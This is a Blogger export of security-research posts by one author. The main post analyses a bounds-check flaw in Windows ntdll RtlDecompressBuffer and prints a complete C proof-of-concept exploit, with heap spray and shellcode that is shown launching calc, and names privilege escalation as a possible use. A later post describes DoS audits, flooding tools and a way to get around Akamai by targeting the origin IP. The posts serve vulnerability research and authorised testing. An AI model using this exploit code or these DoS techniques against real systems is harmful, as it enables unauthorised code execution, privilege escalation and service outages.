<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI5FeEDiSe-IRj46DKxfhCQ7TxZOcxnF6eB6f5phzL4i_CRd75GHwEDPjr-NjasSjt-80rrgm9FZy-Vc59nPGvWugJ9TrBQlbZtw53-z9MucBHIHgT8NOB8xjktVdodKX6SewI/s1600/hello+world.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="61" data-original-width="275" height="86" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI5FeEDiSe-IRj46DKxfhCQ7TxZOcxnF6eB6f5phzL4i_CRd75GHwEDPjr-NjasSjt-80rrgm9FZy-Vc59nPGvWugJ9TrBQlbZtw53-z9MucBHIHgT8NOB8xjktVdodKX6SewI/s400/hello+world.png" width="400" /></a><br />
<br />
<br />
This seems the c++ string but, let's look a bit deeper:<br />
<br />
RawVector<br />
Vector:<br />
(gdb) x/wx 0x7fffffffdf50<br />
0x7fffffffdf50:<span style="white-space: pre;"> </span>0x55790130 -> low dword c string pointer<br />
0x7fffffffdf54:<span style="white-space: pre;"> </span>0x00005555 -> hight dword c string pointer<br />
0x7fffffffdf58:<span style="white-space: pre;"> </span>0x0000000b -> len<br />
<br />
0x7fffffffdf5c:<span style="white-space: pre;"> </span>0x00000000<br />
0x7fffffffdf60:<span style="white-space: pre;"> </span>0x0000000b -> low cap (capacity)<br />
0x7fffffffdf64:<span style="white-space: pre;"> </span>0x00000000 -> hight cap<br />
0x7fffffffdf68:<span style="white-space: pre;"> </span>0xf722fe27 -> low a (allocator)<br />
0x7fffffffdf6c:<span style="white-space: pre;"> </span>0x00007fff -> hight a<br />
0x7fffffffdf70:<span style="white-space: pre;"> </span>0x00000005 <br />
<div>
<br /></div>
<div>
So in this case the whole object is in stack except the null-terminated string.</div>
<div>
<br /></div>
<br />
<br />
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-28487110058301020832016-11-13T12:51:00.000+01:002016-11-14T15:24:29.978+01:00RtlDecompresBuffer vulnerability<b>Introduction</b><br />
<br />
The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.<br />
<br />
The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.<br />
<br />
<b>The algorithms callback table</b><br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9ujgJoEFddu8Y9zHAnuDrcRs7-LF8O0fBQ9pmS5vwpe3XTBR_L-OJGeYa3Cm4pLpZgLMPoYhmRmiZTd3aIGqKQ5x_gmWp2MkL06bw8QOqt5WzNMyaxW-orenJUecMigGNfqEe/s1600/algorithm_table.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;"><img border="0" height="70" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9ujgJoEFddu8Y9zHAnuDrcRs7-LF8O0fBQ9pmS5vwpe3XTBR_L-OJGeYa3Cm4pLpZgLMPoYhmRmiZTd3aIGqKQ5x_gmWp2MkL06bw8QOqt5WzNMyaxW-orenJUecMigGNfqEe/s400/algorithm_table.png" width="400" /></a><br />
<br />
<br />
<br />
<br />
<br />
Notice the five nops at the end probably for adding new algorithms in the future.<br />
<br />
The way to jump to this pointers depending on the algorithm number is:<br />
<i>call RtlDecompressBufferProcs[eax*4]</i><br />
<br />
<b>The bounrady checks</b><br />
<br />
We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:<br />
<br />
<pre></pre>
<pre></pre>
<pre></pre>
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #447fcf;">RtlDecompressBuffer</span><span style="color: #d0d0d0;">(</span><span style="color: #6ab825; font-weight: bold;">unsigned</span> <span style="color: #6ab825; font-weight: bold;">__int8</span> <span style="color: #d0d0d0;">algorithm,</span> <span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">a2,</span> <span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">a3,</span> <span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">a4,</span> <span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">a5,</span> <span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">a6)</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">result;</span> <span style="color: #999999; font-style: italic;">// eax@4</span>
<span style="color: #6ab825; font-weight: bold;">if</span> <span style="color: #d0d0d0;">(</span> <span style="color: #d0d0d0;">algorithm</span> <span style="color: #d0d0d0;">&</span> <span style="color: #d0d0d0;">algorithm</span> <span style="color: #d0d0d0;">!=</span> <span style="color: #3677a9;">1</span> <span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #6ab825; font-weight: bold;">if</span> <span style="color: #d0d0d0;">(</span> <span style="color: #d0d0d0;">algorithm</span> <span style="color: #d0d0d0;">&</span> <span style="color: #3677a9;">0xF0</span> <span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">result</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">-</span><span style="color: #3677a9;">1073741217</span><span style="color: #d0d0d0;">;</span>
<span style="color: #6ab825; font-weight: bold;">else</span>
<span style="color: #d0d0d0;">result</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">((</span><span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">(</span><span style="color: #6ab825; font-weight: bold;">__stdcall</span> <span style="color: #d0d0d0;">*)(</span><span style="color: #6ab825; font-weight: bold;">int</span><span style="color: #d0d0d0;">,</span> <span style="color: #6ab825; font-weight: bold;">int</span><span style="color: #d0d0d0;">,</span> <span style="color: #6ab825; font-weight: bold;">int</span><span style="color: #d0d0d0;">,</span> <span style="color: #6ab825; font-weight: bold;">int</span><span style="color: #d0d0d0;">,</span> <span style="color: #6ab825; font-weight: bold;">int</span><span style="color: #d0d0d0;">))RtlDecompressBufferProcs[algorithm])(a2,</span> <span style="color: #d0d0d0;">a3,</span> <span style="color: #d0d0d0;">a4,</span> <span style="color: #d0d0d0;">a5,</span> <span style="color: #d0d0d0;">a6);</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #6ab825; font-weight: bold;">else</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">result</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">-</span><span style="color: #3677a9;">1073741811</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #6ab825; font-weight: bold;">return</span> <span style="color: #d0d0d0;">result;</span>
<span style="color: #d0d0d0;">}</span></pre>
</div>
<br />
<div style="text-align: justify;">
Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.</div>
<div style="text-align: justify;">
<br /></div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFCnyIR7NfpO2mimx0HE9xyehflg1z3-Rk3U3sUGyhEQeyOCFSS7RWmwqrfWrqcOwZE-53j0arh8NgbW6tF3bO5hLMUGUAi25XDC1gmrW78E5-BrgYFQUeSFPZDnmtI3mBhyPh/s1600/xplt_algo8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="26" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFCnyIR7NfpO2mimx0HE9xyehflg1z3-Rk3U3sUGyhEQeyOCFSS7RWmwqrfWrqcOwZE-53j0arh8NgbW6tF3bO5hLMUGUAi25XDC1gmrW78E5-BrgYFQUeSFPZDnmtI3mBhyPh/s400/xplt_algo8.png" width="400" /></a><br />
<br />
let's check the disassembly on Win7 32bits:<br />
<br />
<ul>
<li>the movzx limits the boundaries to 16bits</li>
<li>the test ax, ax avoids the algorithm 0</li>
<li>the cmp ax, 1 avoids the algorithm 1</li>
<li>the test al, 0F0h limits the boundary .. wait .. al?</li>
</ul>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPLZw9asFYfK3_bwpX36xuBpRAbJ7FtYUlwAMUilxog46RgSxG6AZRasNTPt77aKaLbBjg3QV9DQGhJlyX18x3RsBeUl0LS9Mf2rJd3NMYp_8b9PenUneUFPittShLulUmInpQ/s1600/checks_asm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPLZw9asFYfK3_bwpX36xuBpRAbJ7FtYUlwAMUilxog46RgSxG6AZRasNTPt77aKaLbBjg3QV9DQGhJlyX18x3RsBeUl0LS9Mf2rJd3NMYp_8b9PenUneUFPittShLulUmInpQ/s400/checks_asm.png" width="400" /></a><br />
<br />
Let's calc the max two bytes number that bypass the test al, F0h<br />
<b><i><br /></i></b>
<i>unsigned int max(void) {</i><br />
<i> __asm__("xorl %eax, %eax");</i><br />
<i> __asm__("movb $0xff, %ah");</i><br />
<i> __asm__("movb $0xf0, %al");</i><br />
<i>}</i><br />
<i><br /></i>
<i>int main(void) {</i><br />
<i> printf("max: %u\n", max());</i><br />
<i>}</i><br />
<div>
<br /></div>
<div>
The value is 65520, but the fact is that is simpler than that, w<span style="text-align: justify;">hat happens if we put the algorithm number 9? </span></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_XxymsxdWDBiRVOTMQ0p22nhI9d2sjlzQCaeNF4cQ3mQhY4tAoOJi4w0tBYiNPuK_n_PcMIabVc0RzdQA8SwjV1j81cKXy-ptQYwnKoiPNcDIn-1RVuNy8fRcefZf34bCnnja/s1600/xplt_algo9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="28" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_XxymsxdWDBiRVOTMQ0p22nhI9d2sjlzQCaeNF4cQ3mQhY4tAoOJi4w0tBYiNPuK_n_PcMIabVc0RzdQA8SwjV1j81cKXy-ptQYwnKoiPNcDIn-1RVuNy8fRcefZf34bCnnja/s400/xplt_algo9.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>Proof of concept</b></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
The result on WinXP:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyaD3A9ABFrna1iymVbPylS7T4QNi1lloiaOalQkBlu70Pmd6bPCX5i15kJDvxKDeIcKXvr40AqK4HViPvAuUTgLklPu2f7rIp9HUWC1Ud4uulVLG90fCq4bMaxAmny_ibHTuy/s1600/calc_xp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyaD3A9ABFrna1iymVbPylS7T4QNi1lloiaOalQkBlu70Pmd6bPCX5i15kJDvxKDeIcKXvr40AqK4HViPvAuUTgLklPu2f7rIp9HUWC1Ud4uulVLG90fCq4bMaxAmny_ibHTuy/s400/calc_xp.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The result on Win7 32bits:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiP-UtwkVA-QMS98onPhqtR8ksuqJpBgn2uccOQMljxQNXiKk7L4I9tnKD6fMlt4sMfBeHJE3JCL_04b7JT-_QZZgdYz6h-gPLgbXpy7bsRh6wRtOioVRZ4JNIZ8xcw3lBQQX_/s1600/calc_win7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiP-UtwkVA-QMS98onPhqtR8ksuqJpBgn2uccOQMljxQNXiKk7L4I9tnKD6fMlt4sMfBeHJE3JCL_04b7JT-_QZZgdYz6h-gPLgbXpy7bsRh6wRtOioVRZ4JNIZ8xcw3lBQQX_/s400/calc_win7.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
And the exploit code:</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div style="background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #999999; font-style: italic;">/*</span>
<span style="color: #999999; font-style: italic;"> ntdll!RtlDecompressBuffer() vtable exploit + heap spray</span>
<span style="color: #999999; font-style: italic;"> by @sha0coder</span>
<span style="color: #999999; font-style: italic;">*/</span>
<span style="color: #cd2828; font-weight: bold;">#include </span>
<span style="color: #cd2828; font-weight: bold;">#include </span>
<span style="color: #cd2828; font-weight: bold;">#include </span>
<span style="color: #cd2828; font-weight: bold;">#define KB 1024</span>
<span style="color: #cd2828; font-weight: bold;">#define MB 1024*KB</span>
<span style="color: #cd2828; font-weight: bold;">#define BLK_SZ 4096</span>
<span style="color: #cd2828; font-weight: bold;">#define ALLOC 200</span>
<span style="color: #cd2828; font-weight: bold;">#define MAGIC_DECOMPRESSION_AGORITHM 9</span>
<span style="color: #999999; font-style: italic;">// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php</span>
<span style="color: #999999; font-style: italic;">/*</span>
<span style="color: #999999; font-style: italic;">unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"</span>
<span style="color: #999999; font-style: italic;">"\xBF\x77\xFF\xD2\xCC"</span>
<span style="color: #999999; font-style: italic;">"\xE8\xF3\xFF\xFF\xFF"</span>
<span style="color: #999999; font-style: italic;">"\x63\x61\x6C\x63";</span>
<span style="color: #999999; font-style: italic;">*/</span>
<span style="color: #999999; font-style: italic;">// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html</span>
<span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*shellcode</span> <span style="color: #d0d0d0;">=</span>
<span style="color: #ed9d13;">"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"</span>
<span style="color: #ed9d13;">"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"</span>
<span style="color: #ed9d13;">"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"</span>
<span style="color: #ed9d13;">"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"</span>
<span style="color: #ed9d13;">"\x57\x78\x01\xc2\x8b\x7a\x20\x01"</span>
<span style="color: #ed9d13;">"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"</span>
<span style="color: #ed9d13;">"\x45\x81\x3e\x43\x72\x65\x61\x75"</span>
<span style="color: #ed9d13;">"\xf2\x81\x7e\x08\x6f\x63\x65\x73"</span>
<span style="color: #ed9d13;">"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"</span>
<span style="color: #ed9d13;">"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"</span>
<span style="color: #ed9d13;">"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"</span>
<span style="color: #ed9d13;">"\xb1\xff\x53\xe2\xfd\x68\x63\x61"</span>
<span style="color: #ed9d13;">"\x6c\x63\x89\xe2\x52\x52\x53\x53"</span>
<span style="color: #ed9d13;">"\x53\x53\x53\x53\x52\x53\xff\xd7"</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">PUCHAR</span> <span style="color: #d0d0d0;">landing_ptr</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">(PUCHAR)</span><span style="color: #3677a9;">0x55ff8b90</span><span style="color: #d0d0d0;">;</span> <span style="color: #999999; font-style: italic;">// valid for Win7 and WinXP 32bits</span>
<span style="color: #6ab825; font-weight: bold;">void</span> <span style="color: #447fcf;">fail</span><span style="color: #d0d0d0;">(</span><span style="color: #6ab825; font-weight: bold;">const</span> <span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*msg)</span> <span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"%s\n\n"</span><span style="color: #d0d0d0;">,</span> <span style="color: #d0d0d0;">msg);</span>
<span style="color: #d0d0d0;">exit(</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">);</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #d0d0d0;">PUCHAR</span> <span style="color: #447fcf;">spray</span><span style="color: #d0d0d0;">(HANDLE</span> <span style="color: #d0d0d0;">heap)</span> <span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">PUCHAR</span> <span style="color: #d0d0d0;">map</span> <span style="color: #d0d0d0;">=</span> <span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"Spraying ...\n"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"Aproximating to %p\n"</span><span style="color: #d0d0d0;">,</span> <span style="color: #d0d0d0;">landing_ptr);</span>
<span style="color: #6ab825; font-weight: bold;">while</span> <span style="color: #d0d0d0;">(map</span> <span style="color: #d0d0d0;"><</span> <span style="color: #d0d0d0;">landing_ptr-</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">*MB)</span> <span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">map</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">HeapAlloc(heap,</span> <span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">,</span> <span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">*MB);</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #999999; font-style: italic;">//map = HeapAlloc(heap, 0, 1*MB);</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"Aproximated to [%x - %x]\n"</span><span style="color: #d0d0d0;">,</span> <span style="color: #d0d0d0;">map,</span> <span style="color: #d0d0d0;">map+</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">*MB);</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"Landing adddr: %x\n"</span><span style="color: #d0d0d0;">,</span> <span style="color: #d0d0d0;">landing_ptr);</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"Offset of landing adddr: %d\n"</span><span style="color: #d0d0d0;">,</span> <span style="color: #d0d0d0;">landing_ptr-map);</span>
<span style="color: #6ab825; font-weight: bold;">return</span> <span style="color: #d0d0d0;">map;</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #6ab825; font-weight: bold;">void</span> <span style="color: #447fcf;">landing_sigtrap</span><span style="color: #d0d0d0;">(</span><span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">num_of_traps)</span> <span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">memset(landing_ptr,</span> <span style="color: #3677a9;">0xcc</span><span style="color: #d0d0d0;">,</span> <span style="color: #d0d0d0;">num_of_traps);</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #6ab825; font-weight: bold;">void</span> <span style="color: #447fcf;">copy_shellcode</span><span style="color: #d0d0d0;">(</span><span style="color: #6ab825; font-weight: bold;">void</span><span style="color: #d0d0d0;">)</span> <span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">memcpy(landing_ptr,</span> <span style="color: #d0d0d0;">shellcode,</span> <span style="color: #d0d0d0;">strlen(shellcode));</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #447fcf;">main</span><span style="color: #d0d0d0;">(</span><span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">argc,</span> <span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">**argv)</span> <span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">FARPROC</span> <span style="color: #d0d0d0;">RtlDecompressBuffer;</span>
<span style="color: #d0d0d0;">NTSTATUS</span> <span style="color: #d0d0d0;">ntStat;</span>
<span style="color: #d0d0d0;">HANDLE</span> <span style="color: #d0d0d0;">heap;</span>
<span style="color: #d0d0d0;">PUCHAR</span> <span style="color: #d0d0d0;">compressed,</span> <span style="color: #d0d0d0;">uncompressed;</span>
<span style="color: #d0d0d0;">ULONG</span> <span style="color: #d0d0d0;">compressed_sz,</span> <span style="color: #d0d0d0;">uncompressed_sz,</span> <span style="color: #d0d0d0;">estimated_uncompressed_sz;</span>
<span style="color: #d0d0d0;">RtlDecompressBuffer</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">GetProcAddress(LoadLibraryA(</span><span style="color: #ed9d13;">"ntdll.dll"</span><span style="color: #d0d0d0;">),</span> <span style="color: #ed9d13;">"RtlDecompressBuffer"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #d0d0d0;">heap</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">GetProcessHeap();</span>
<span style="color: #d0d0d0;">compressed_sz</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">estimated_uncompressed_sz</span> <span style="color: #d0d0d0;">=</span> <span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">*KB;</span>
<span style="color: #d0d0d0;">compressed</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">HeapAlloc(heap,</span> <span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">,</span> <span style="color: #d0d0d0;">compressed_sz);</span>
<span style="color: #d0d0d0;">uncompressed</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">HeapAlloc(heap,</span> <span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">,</span> <span style="color: #d0d0d0;">estimated_uncompressed_sz);</span>
<span style="color: #d0d0d0;">spray(heap);</span>
<span style="color: #d0d0d0;">copy_shellcode();</span>
<span style="color: #999999; font-style: italic;">//landing_sigtrap(1*KB);</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"Landing ...\n"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #d0d0d0;">ntStat</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM,</span> <span style="color: #d0d0d0;">uncompressed,</span> <span style="color: #d0d0d0;">estimated_uncompressed_sz,</span> <span style="color: #d0d0d0;">compressed,</span> <span style="color: #d0d0d0;">compressed_sz,</span> <span style="color: #d0d0d0;">&uncompressed_sz);</span>
<span style="color: #6ab825; font-weight: bold;">switch</span><span style="color: #d0d0d0;">(ntStat)</span> <span style="color: #d0d0d0;">{</span>
<span style="color: #6ab825; font-weight: bold;">case</span> <span style="color: #d0d0d0;">STATUS_SUCCESS</span>:
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"decompression Ok!\n"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #6ab825; font-weight: bold;">break</span><span style="color: #d0d0d0;">;</span>
<span style="color: #6ab825; font-weight: bold;">case</span> <span style="color: #d0d0d0;">STATUS_INVALID_PARAMETER</span>:
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"bad compression parameter\n"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #6ab825; font-weight: bold;">break</span><span style="color: #d0d0d0;">;</span>
<span style="color: #6ab825; font-weight: bold;">case</span> <span style="color: #d0d0d0;">STATUS_UNSUPPORTED_COMPRESSION</span>:
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"unsuported compression\n"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #6ab825; font-weight: bold;">break</span><span style="color: #d0d0d0;">;</span>
<span style="color: #6ab825; font-weight: bold;">case</span> <span style="color: #d0d0d0;">STATUS_BAD_COMPRESSION_BUFFER</span>:
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"Need more uncompressed buffer\n"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #6ab825; font-weight: bold;">break</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">default:</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"weird decompression state\n"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #6ab825; font-weight: bold;">break</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"end.\n"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #d0d0d0;">}</span>
</pre>
</div>
<br />
<div class="separator" style="clear: both; text-align: justify;">
<b style="font-family: "times new roman";">The attack vector</b></div>
<pre><pre></pre>
<div class="separator" style="clear: both; font-family: "Times New Roman"; text-align: justify; white-space: normal;">
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7</div>
<div class="separator" style="clear: both; font-family: "Times New Roman"; text-align: justify; white-space: normal;">
</div>
</pre>
Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-4128011124764437272016-10-12T02:13:00.000+02:002016-10-12T02:13:16.283+02:00Vulcan DoS vs Akamai<div style="text-align: justify;">
In the past I had to do several DoS security audits, with múltiples types of tests and intensities. Sometimes several DDoS protections were present like Akamai for static content, and Arbor for absorb part of the bandwith.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
One consideration for the DoS/DDoS tools is that probably it will loss the control of the attacker host, and the tool at least has to be able to stop automatically with a timeout, but can also implement remote response checks.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
In order to size the minimum mbps needed to flood a service or to retard the response in a significant amount of time, the attacker hosts need a bandwith limiter, that increments in a logarithmic way up to a limit agreed with the customer/isp/cpd.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
There are DoS tools that doesn't have this timeouts, and bandwith limit based on mbps, for that reason I have to implement a LD_PRELOAD based solution: <a href="https://github.com/sha0coder/bwcontrol" target="_blank">bwcontrol</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Although there are several good tools for stressing web servers and web aplications like apache ab, or other common tools used for pen-testing, but I also wrote a fast web flooder in c++ named <a href="https://github.com/sha0coder/wflood" target="_blank">wflood</a>.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
As expected the most effective for taking down the web server are the slow-loris, slow-read and derivatives, few host were needed to DoS an online banking. </div>
<div style="text-align: justify;">
Remote attacks to database and highly dynamic web content were discarded, that could be impacted for sure.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I did another tool in c++ for crafting massive tcp/udp/ip malformed packets, that impacted sometimes on load balancers and firewalls, it was <a href="https://bitbucket.org/sha0coder/vulcan/src" target="_blank">vulcan</a>, it freezed even the firewall client software.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The funny thing was that the common attacks against Akamai hosts, where ineffective, and so does the slow-loris family of attacks, because are common, and the Akamai nginx webservers are well tunned. But when tried <a href="https://bitbucket.org/sha0coder/vulcan/src" target="_blank">vulcan</a>, few intensity was enough to crash Akamai hosts.</div>
<br />
Another attack vector for static sites was trying to locate the IP of the customer instead of Akamai, if the customer doesn't use the Akamai Shadow service, it's possible to perform a HTTP Host header scan, and direct the attack to that host bypassing Akamai.<br />
<br />
And what about Arbor protection? is good for reducing the flood but there are other kind of attacks, and this protection use to be disabled by default and in local holidays can be a mess.<br />
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-51891527936555306852016-10-09T18:52:00.001+02:002017-08-04T15:27:36.148+02:00vsftpd backdoor - ekoparty prectf - amn3s1a team<div style="text-align: justify;">
It's a 32bits elf binary of some version of <b>vsftpd</b>, where it have been added a backdoor, they don't specify is an authentication backdoor, a special command or other stuff.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
